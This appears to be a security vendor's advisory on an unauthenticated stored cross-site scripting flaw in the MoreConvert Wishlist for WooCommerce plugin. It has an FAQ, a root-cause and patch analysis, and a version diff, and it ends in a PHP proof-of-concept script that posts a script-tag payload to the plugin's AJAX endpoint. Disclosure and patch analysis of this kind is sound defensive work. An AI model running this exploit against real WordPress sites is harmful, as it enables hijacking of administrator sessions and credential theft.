What is CVE-2026-57356?

CVE-2026-57356 is a high-severity vulnerability in the MoreConvert Wishlist for WooCommerce plugin for WordPress, affecting versions up to 1.9.19. It allows unauthenticated attackers to perform stored cross-site scripting (XSS) attacks due to insufficient input sanitization and output escaping.

How does the vulnerability work?

The vulnerability arises when an attacker sends a crafted HTTP POST request to the WordPress site, injecting malicious JavaScript code through specific product attribute parameters. This code is then stored and executed whenever an administrator accesses the wishlist page, leading to potential session hijacking or credential theft.

Who is affected by this vulnerability?

All WordPress sites using the MoreConvert Wishlist for WooCommerce plugin version 1.9.19 or earlier are affected. Administrators can check their plugin version in the WordPress admin dashboard under the plugins section.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, navigate to the Plugins section in your WordPress admin dashboard and locate the MoreConvert Wishlist for WooCommerce plugin. If the version is 1.9.19 or earlier, your site is at risk.

How can I fix this vulnerability?

The vulnerability can be mitigated by updating the MoreConvert Wishlist for WooCommerce plugin to version 1.9.20 or later. This version includes patches that address the input sanitization and output escaping issues.

What does the CVSS score of 7.2 indicate?

A CVSS score of 7.2 indicates a high severity level, meaning that the vulnerability poses a significant risk to the affected systems. It suggests that exploitation is relatively easy and can lead to severe consequences, including unauthorized access and data compromise.

What are the practical risks of this vulnerability?

If exploited, this vulnerability allows attackers to inject and execute arbitrary JavaScript in the browsers of users accessing the wishlist. This could lead to session hijacking, credential theft, phishing attacks, or website defacement.

How does the proof of concept demonstrate the issue?

The proof of concept (PoC) illustrates how an attacker can craft a malicious payload and send it via a POST request to the vulnerable endpoint. It shows the specific parameters used to exploit the vulnerability and the expected outcome, which is the execution of the injected script.

What changes were made in the patched version?

The patched version 1.9.20 includes several key changes: it adds nonce verification to the AJAX handler, validates incoming attribute parameters against registered taxonomies, and sanitizes output in the template files to prevent XSS.

What should I do if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the MoreConvert Wishlist for WooCommerce plugin until it can be updated. Additionally, monitor user access and implement security measures such as web application firewalls to help mitigate potential exploitation.

Are there any other security best practices to follow?

In addition to updating vulnerable plugins, regularly review and update all WordPress components, use strong passwords, implement two-factor authentication, and conduct regular security audits to identify and address potential vulnerabilities.

Where can I find more information about this vulnerability?

More detailed information about CVE-2026-57356 can be found on the National Vulnerability Database (NVD) and through security advisories from reputable sources such as Wordfence or Sucuri.

Published : July 20, 2026

CVE-2026-57356: MoreConvert Wishlist for WooCommerce <= 1.9.19 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-57356

Plugin smart-wishlist-for-more-convert

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 1.9.19

Patched Version 1.9.20

Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57356:

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping in the MoreConvert Wishlist for WooCommerce plugin, specifically in the `wlfmc_process_product_data` function located in `/smart-wishlist-for-more-convert/includes/functions.php` (lines 1548-1588). The previous version directly used values from `$_REQUEST` without proper validation against product attributes. The `rawurldecode` function applied to attribute keys in the template files (`mc-wishlist-pdf.php`, line 237 and `mc-wishlist-view.php`, line 292) combined with unsanitized output via `echo` (without escaping) allowed injection of arbitrary web scripts. Additionally, the absence of a nonce check in the `add_to_wishlist` AJAX handler (in `/smart-wishlist-for-more-convert/includes/class-wlfmc-ajax-handler.php`, line 758) enabled unauthenticated exploitation.

Exploitation: An attacker can send a crafted HTTP POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `add_to_wishlist`. The request must include a malicious `attribute_*` parameter, for example `attribute_pa_color`, containing JavaScript payload like `”>alert(1)`. The nonce verification was missing, so the AJAX request processes without authentication. The injected payload propagates through the wishlist data and is rendered unsanitized in the template files, executing the script in the browser of any administrator viewing the wishlist.

Patch Analysis: The patch introduces three key changes. First, in `class-wlfmc-ajax-handler.php`, a nonce check `check_ajax_referen( ‘wlfmc_add_to_list_nonce’, ‘nonce’ )` is added to the `add_to_wishlist` method, requiring a valid nonce for the request. Second, in `functions.php`, the `wlfmc_process_product_data` function now validates the incoming `attribute_*` parameters against the product’s registered taxonomy attributes. It only accepts values for valid taxonomy slags, applying `sanitize_title` for taxonomy attributes or `wc_clean` + `html_entity_decode` for custom attributes. Third, the template files `mc-wishlist-pdf.php` and `mc-wishlist-view.php` wrap the output of `wc_get_formatted_variation` in `wp_kses_post()`, which strips dangerous HTML tags and attributes.

Impact: Successful exploitation allows unauthenticated attackers to inject and store arbitrary JavaScript or HTML in the WordPress database. When an administrator or other user visits the affected wishlist page, the injected script executes in their browser session. This can lead to session hijacking, credential theft, phishing redirection, or defacement. The CVSS score of 7.2 reflects the high severity due to the lack of authentication requirement and potential for complete compromise of the admin session.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/smart-wishlist-for-more-convert/includes/class-wlfmc-admin.php
+++ b/smart-wishlist-for-more-convert/includes/class-wlfmc-admin.php
@@ -5,7 +5,7 @@
  * @author MoreConvert
  * @package Smart Wishlist For More Convert
  *
- * @version 1.9.19
+ * @version 1.9.20
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -30,7 +30,7 @@
 		 *
 		 * @var string
 		 */
-		public $rollback_version = '1.9.18';
+		public $rollback_version = '1.9.19';

 		/**
 		 * Minimum pro version
--- a/smart-wishlist-for-more-convert/includes/class-wlfmc-ajax-handler.php
+++ b/smart-wishlist-for-more-convert/includes/class-wlfmc-ajax-handler.php
@@ -755,6 +755,9 @@
 		 * @version 1.3.3
 		 */
 		public static function add_to_wishlist() {
+
+			check_ajax_referer( 'wlfmc_add_to_list_nonce', 'nonce' );
+
 			$result = false;
 			try {
 				$result  = WLFMC()->add();
--- a/smart-wishlist-for-more-convert/includes/class-wlfmc-shortcode.php
+++ b/smart-wishlist-for-more-convert/includes/class-wlfmc-shortcode.php
@@ -272,7 +272,15 @@
 				if ( defined( 'MC_WLFMC_PREMIUM' ) ) {
 					$show_total_price   = $show_total_price && 0 < $wishlist->count_items();
 					$enable_drag_n_drop = $enable_drag_n_drop && 1 < $wishlist->count_items() && $wishlist->current_user_can( 'drag_n_drop' ) && ! $no_interactions;
-					$pagination         = ! $enable_drag_n_drop && $pagination;
+					/**
+					 * Filter whether Drag & Drop should disable pagination.
+					 *
+					 * @param bool $disable_pagination Default is false (pagination stays active).
+					 */
+					$disable_pagination_on_drag_drop = apply_filters( 'wlfmc_disable_pagination_on_drag_drop', false );
+					if ( $disable_pagination_on_drag_drop ) {
+						$pagination = ! $enable_drag_n_drop && $pagination;
+					}
 				}

 				// sets current page, number of pages and element offset.
--- a/smart-wishlist-for-more-convert/includes/class-wlfmc.php
+++ b/smart-wishlist-for-more-convert/includes/class-wlfmc.php
@@ -4,7 +4,7 @@
  *
  * @author MoreConvert
  * @package Smart Wishlist For More Convert
- * @version 1.9.19
+ * @version 1.9.20
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -27,7 +27,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '1.9.19';
+		public $version = '1.9.20';

 		/**
 		 * Plugin database version
--- a/smart-wishlist-for-more-convert/includes/functions.php
+++ b/smart-wishlist-for-more-convert/includes/functions.php
@@ -1548,11 +1548,49 @@
 	function wlfmc_process_product_data( $product_type, $atts, $prod_id, $quantity ) {
 		$variations = array();
 		if ( in_array( $product_type, array( 'variable', 'variation', 'variable-subscription' ), true ) ) {
+			/*
 			foreach ( $_REQUEST as $key => $value ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 				if ( 'attribute_' !== substr( $key, 0, 10 ) || '' === $value ) {
 					continue;
 				}
 				$variations['attributes'][ sanitize_title( wp_unslash( $key ) ) ] = wp_unslash( $value );
+			}*/
+
+			$product = wc_get_product( $prod_id );
+			if ( $product ) {
+				if ( $product->is_type( 'variation' ) ) {
+					$parent_id      = $product->get_parent_id();
+					$parent_product = wc_get_product( $parent_id );
+					$attributes     = $parent_product ? $parent_product->get_attributes() : array();
+				} else {
+					$attributes = $product->get_attributes();
+				}
+
+				foreach ( $_REQUEST as $key => $value ) {
+					if ( 'attribute_' !== substr( $key, 0, 10 ) || '' === $value ) {
+						continue;
+					}
+
+					$attribute_name = str_replace( 'attribute_', '', sanitize_title( $key ) );
+
+					if ( isset( $attributes[ $attribute_name ] ) ) {
+						$attribute = $attributes[ $attribute_name ];
+
+						if ( $attribute['is_variation'] ) {
+							if ( $attribute['is_taxonomy'] ) {
+								$sanitized_value = sanitize_title( wp_unslash( $value ) );
+							} else {
+								$sanitized_value = html_entity_decode( wc_clean( wp_unslash( $value ) ), ENT_QUOTES, get_bloginfo( 'charset' ) );
+							}
+
+							if ( ! empty( $sanitized_value ) || '0' === $sanitized_value ) {
+								$variations['attributes'][ sanitize_title( $key ) ] = $sanitized_value;
+							}
+						}
+					} else {
+						$variations['attributes'][ sanitize_title( wp_unslash( $key ) ) ] = sanitize_title( wp_unslash( $value ) );
+					}
+				}
 			}
 		}

--- a/smart-wishlist-for-more-convert/smart-wishlist-for-more-convert.php
+++ b/smart-wishlist-for-more-convert/smart-wishlist-for-more-convert.php
@@ -3,7 +3,7 @@
  * Plugin Name: MoreConvert Wishlist for WooCommerce
  * Plugin URI: https://moreconvert.com/smart-wishlist-for-more-convert
  * Description: With the MoreConvert Wishlist for WooCommerce plugin, your website users can add their favorite products to the wishlist. Then you can persuade them to buy products on their wishlist through the magic of our Marketing Toolkits.
- * Version: 1.9.19
+ * Version: 1.9.20
  * Author: MoreConvert
  * Author URI: https://moreconvert.com
  * Text Domain: wc-wlfmc-wishlist
@@ -14,7 +14,7 @@
  *
  * @author MoreConvert
  * @package Smart Wishlist For More Convert
- * @version 1.9.19
+ * @version 1.9.20
  */

 /**
--- a/smart-wishlist-for-more-convert/templates/mc-add-to-wishlist.php
+++ b/smart-wishlist-for-more-convert/templates/mc-add-to-wishlist.php
@@ -81,6 +81,7 @@
 					class="<?php echo esc_attr( $classes_add ); ?>"
 					data-popup-id="add_to_list_popup"
 					data-exclude-default="false"
+					data-nonce="<?php echo esc_attr( wp_create_nonce( 'wlfmc_add_to_list_nonce' ) ); ?>"
 					data-product-id="<?php echo esc_attr( $product_id ); ?>"
 					data-product-type="<?php echo esc_attr( $product_type ); ?>"
 					data-parent-product-id="<?php echo esc_attr( $parent_product_id ); ?>">
@@ -129,6 +130,7 @@
 			<a
 				href="#" rel="nofollow"
 				<?php echo ( '' !== $button_label_add ) ? '' : 'aria-label="' . esc_attr_x( 'Add to wishlist', 'aria-label text', 'wc-wlfmc-wishlist' ) . '"'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+				data-nonce="<?php echo esc_attr( wp_create_nonce( 'wlfmc_add_to_list_nonce' ) ); ?>"
 				data-product-id="<?php echo esc_attr( $product_id ); ?>"
 				data-product-type="<?php echo esc_attr( $product_type ); ?>"
 				data-parent-product-id="<?php echo esc_attr( $parent_product_id ); ?>"
--- a/smart-wishlist-for-more-convert/templates/mc-wishlist-pdf.php
+++ b/smart-wishlist-for-more-convert/templates/mc-wishlist-pdf.php
@@ -237,7 +237,7 @@
 											/**
 											 * @var $product WC_Product_Variation
 											 */
-											echo wc_get_formatted_variation( ! empty( $meta['attributes'] ) ? array_combine( array_map( 'rawurldecode', array_keys( $meta['attributes'] ) ), $meta['attributes'] ) : $product ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+											echo wp_kses_post( wc_get_formatted_variation( ! empty( $meta['attributes'] ) ? array_combine( array_map( 'rawurldecode', array_keys( $meta['attributes'] ) ), $meta['attributes'] ) : $product ) );

 											?>
 										</td>
--- a/smart-wishlist-for-more-convert/templates/mc-wishlist-view.php
+++ b/smart-wishlist-for-more-convert/templates/mc-wishlist-view.php
@@ -292,7 +292,7 @@
 											/**
 											 * @var $product WC_Product_Variation
 											 */
-											echo wc_get_formatted_variation( ! empty( $meta['attributes'] ) ? array_combine( array_map( 'rawurldecode', array_keys( $meta['attributes'] ) ), $meta['attributes'] ) : $product ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+											echo wp_kses_post( wc_get_formatted_variation( ! empty( $meta['attributes'] ) ? array_combine( array_map( 'rawurldecode', array_keys( $meta['attributes'] ) ), $meta['attributes'] ) : $product ) );

 											?>
 										</div>
@@ -355,7 +355,7 @@

 											<!-- Add to cart button -->

-											<?php if ( apply_filters( 'wlfmc_product_add_to_cart_button', true, $item, $product, $cart_item ) ) : // ! empty( $meta ) ?>
+											<?php if ( apply_filters( 'wlfmc_product_add_to_cart_button', true, $item, $product, $cart_item ) ) : ?>
 												<?php

 												$add_to_cart_url   = wp_nonce_url(
@@ -376,8 +376,8 @@
 														wc_clear_notices();
 													}
 												}
-												$add_to_cart_text    = apply_filters( 'wlfmc_read_more_text', __( 'Read more', 'woocommerce' ), $product, $passed_validation );
-												$select_options_text = apply_filters( 'wlfmc_select_options_text', __( 'Select options', 'woocommerce' ), $product, $passed_validation );
+												$add_to_cart_text    = apply_filters( 'wlfmc_read_more_text', __( 'Read more', 'wc-wlfmc-wishlist' ), $product, $passed_validation );
+												$select_options_text = apply_filters( 'wlfmc_select_options_text', __( 'Select options', 'wc-wlfmc-wishlist' ), $product, $passed_validation );
 												switch ( $product->get_type() ) {
 													case 'external':
 														$can_add_with_ajax = false;
@@ -427,25 +427,27 @@
 													$meta
 												);
 												$button_class      = ' add_to_cart_button button ' . ( $can_add_with_ajax && 'yes' === get_option( 'woocommerce_enable_ajax_add_to_cart' ) ? 'wlfmc_ajax_add_to_cart' : '' );
-												echo apply_filters(
-													'wlfmc_product_with_meta_add_to_cart_link',
-													sprintf(
-														'<a href="%s" data-item_id="%d" data-wishlist_id="%d" data-product_id="%d"  data-quantity="%s" class="%s" data-nonce="%s" %s >%s</a>',
-														esc_url( $add_to_cart_url ),
-														esc_attr( $item->get_id() ),
-														esc_attr( $wishlist_id ),
-														esc_attr( $product->get_id() ),
-														esc_attr( $item->get_quantity() ),
-														esc_attr( $button_class ),
-														esc_attr( wp_create_nonce( 'wlfmc_add_to_cart_from_wishlist' ) ),
-														! empty( $button_attributes ) ? wc_implode_html_attributes( $button_attributes ) : '',
-														esc_html( $add_to_cart_text )
-													),
-													$product,
-													$passed_validation,
-													$item,
-													$meta
-												);// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+												echo wp_kses_post(
+													apply_filters(
+														'wlfmc_product_with_meta_add_to_cart_link',
+														sprintf(
+															'<a href="%s" data-item_id="%d" data-wishlist_id="%d" data-product_id="%d"  data-quantity="%s" class="%s" data-nonce="%s" %s >%s</a>',
+															esc_url( $add_to_cart_url ),
+															esc_attr( $item->get_id() ),
+															esc_attr( $wishlist_id ),
+															esc_attr( $product->get_id() ),
+															esc_attr( $item->get_quantity() ),
+															esc_attr( $button_class ),
+															esc_attr( wp_create_nonce( 'wlfmc_add_to_cart_from_wishlist' ) ),
+															! empty( $button_attributes ) ? wc_implode_html_attributes( $button_attributes ) : '',
+															esc_html( $add_to_cart_text )
+														),
+														$product,
+														$passed_validation,
+														$item,
+														$meta
+													)
+												);
 												?>
 											<?php elseif ( has_action( 'wlfmc_table_product_' . $product->get_type() . '_add_to_cart_button' ) ) : ?>
 												<?php do_action( 'wlfmc_table_product_' . $product->get_type() . '_add_to_cart_button', $item, $wishlist, $product, $cart_item, $permalink ); ?>
@@ -487,7 +489,7 @@
 						echo wp_kses_post( apply_filters( 'wlfmc_no_access_image', '<img class="empty-image" src="' . esc_url( MC_WLFMC_URL ) . 'assets/frontend/images/access-denied.svg" width="296" height="215">', $atts ) );
 						echo wp_kses_post( apply_filters( 'wlfmc_no_access_title', '' !== $no_access_title ? '<h3 class="empty-title">' . $no_access_title . '</h3>' : '', $atts ) );
 						echo do_shortcode( apply_filters( 'wlfmc_no_access_message', '' !== $no_access_content ? '<div class="empty-content">' . $no_access_content . '</div>' : '', $atts ) );
-						echo wp_kses_post( apply_filters( 'wlfmc_no_access_button', '<a href="' . esc_url( wc_get_page_permalink( 'shop' ) ) . '" class="wc-forward button empty-button">' . esc_html__( 'Go to shop', 'woocommerce' ) . '</a>', $atts ) );
+						echo wp_kses_post( apply_filters( 'wlfmc_no_access_button', '<a href="' . esc_url( wc_get_page_permalink( 'shop' ) ) . '" class="wc-forward button empty-button">' . esc_html__( 'Go to shop', 'wc-wlfmc-wishlist' ) . '</a>', $atts ) );
 						?>
 					</td>
 				</tr>
@@ -498,7 +500,7 @@
 							echo wp_kses_post( apply_filters( 'wlfmc_no_product_in_wishlist_image', '<img class="empty-image" src="' . esc_url( MC_WLFMC_URL ) . 'assets/frontend/images/empty-wishlist.svg" width="400" height="216">', $wishlist, $atts ) );
 							echo wp_kses_post( apply_filters( 'wlfmc_no_product_in_wishlist_title', '' !== $empty_wishlist_title ? '<h3 class="empty-title">' . $empty_wishlist_title . '</h3>' : '', $wishlist, $atts ) );
 							echo do_shortcode( apply_filters( 'wlfmc_no_product_in_wishlist_message', '' !== $empty_wishlist_content ? '<div class="empty-content">' . $empty_wishlist_content . '</div>' : '', $wishlist, $atts ) );
-							echo wp_kses_post( apply_filters( 'wlfmc_no_product_in_wishlist_button', '<a href="' . esc_url( wc_get_page_permalink( 'shop' ) ) . '" class="wc-forward button empty-button">' . esc_html__( 'Go to shop', 'woocommerce' ) . '</a>', $wishlist, $atts ) );
+							echo wp_kses_post( apply_filters( 'wlfmc_no_product_in_wishlist_button', '<a href="' . esc_url( wc_get_page_permalink( 'shop' ) ) . '" class="wc-forward button empty-button">' . esc_html__( 'Go to shop', 'wc-wlfmc-wishlist' ) . '</a>', $wishlist, $atts ) );
 						?>
 					</td>
 				</tr>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57356 - MoreConvert Wishlist for WooCommerce <= 1.9.19 Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://example.com'; // Change to the target WordPress site URL

$admin_ajax = $target_url . '/wp-admin/admin-ajax.php';

// Step 1: Craft the payload with a stored XSS via attribute parameter
$payload = '"><script>alert(document.cookie)</script>';
$post_data = array(
    'action'          => 'add_to_wishlist',
    'product_id'      => 1, // Replace with a valid product ID
    'product_type'    => 'variable', // Must be 'variable' to trigger vulnerable code path
    'quantity'        => 1,
    'attribute_pa_color' => $payload, // Inject XSS via a taxonomy attribute
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_ajax);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Sent XSS payload via add_to_wishlist AJAX action.n";
echo "[+] HTTP Status: $http_coden";
echo "[+] Response: $responsen";

// Step 2: Verify the payload is stored by fetching the wishlist view (requires knowledge of wishlist ID or user)
// This step is optional; in practice, the payload executes when an admin views the wishlist via the shortcode.
?>

Frequently Asked Questions

What is CVE-2026-57356?
Details of the vulnerability
CVE-2026-57356 is a high-severity vulnerability in the MoreConvert Wishlist for WooCommerce plugin for WordPress, affecting versions up to 1.9.19. It allows unauthenticated attackers to perform stored cross-site scripting (XSS) attacks due to insufficient input sanitization and output escaping.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises when an attacker sends a crafted HTTP POST request to the WordPress site, injecting malicious JavaScript code through specific product attribute parameters. This code is then stored and executed whenever an administrator accesses the wishlist page, leading to potential session hijacking or credential theft.
Who is affected by this vulnerability?
Identifying vulnerable installations
All WordPress sites using the MoreConvert Wishlist for WooCommerce plugin version 1.9.19 or earlier are affected. Administrators can check their plugin version in the WordPress admin dashboard under the plugins section.
How can I check if my site is vulnerable?
Verifying plugin version
To determine if your site is vulnerable, navigate to the Plugins section in your WordPress admin dashboard and locate the MoreConvert Wishlist for WooCommerce plugin. If the version is 1.9.19 or earlier, your site is at risk.
How can I fix this vulnerability?
Updating the plugin
The vulnerability can be mitigated by updating the MoreConvert Wishlist for WooCommerce plugin to version 1.9.20 or later. This version includes patches that address the input sanitization and output escaping issues.
What does the CVSS score of 7.2 indicate?
Understanding severity levels
A CVSS score of 7.2 indicates a high severity level, meaning that the vulnerability poses a significant risk to the affected systems. It suggests that exploitation is relatively easy and can lead to severe consequences, including unauthorized access and data compromise.
What are the practical risks of this vulnerability?
Consequences of exploitation
If exploited, this vulnerability allows attackers to inject and execute arbitrary JavaScript in the browsers of users accessing the wishlist. This could lead to session hijacking, credential theft, phishing attacks, or website defacement.
How does the proof of concept demonstrate the issue?
Understanding the PoC
The proof of concept (PoC) illustrates how an attacker can craft a malicious payload and send it via a POST request to the vulnerable endpoint. It shows the specific parameters used to exploit the vulnerability and the expected outcome, which is the execution of the injected script.
What changes were made in the patched version?
Improvements in version 1.9.20
The patched version 1.9.20 includes several key changes: it adds nonce verification to the AJAX handler, validates incoming attribute parameters against registered taxonomies, and sanitizes output in the template files to prevent XSS.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If immediate updates are not possible, consider disabling the MoreConvert Wishlist for WooCommerce plugin until it can be updated. Additionally, monitor user access and implement security measures such as web application firewalls to help mitigate potential exploitation.
Are there any other security best practices to follow?
General security recommendations
In addition to updating vulnerable plugins, regularly review and update all WordPress components, use strong passwords, implement two-factor authentication, and conduct regular security audits to identify and address potential vulnerabilities.
Where can I find more information about this vulnerability?
Resources for further reading
More detailed information about CVE-2026-57356 can be found on the National Vulnerability Database (NVD) and through security advisories from reputable sources such as Wordfence or Sucuri.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started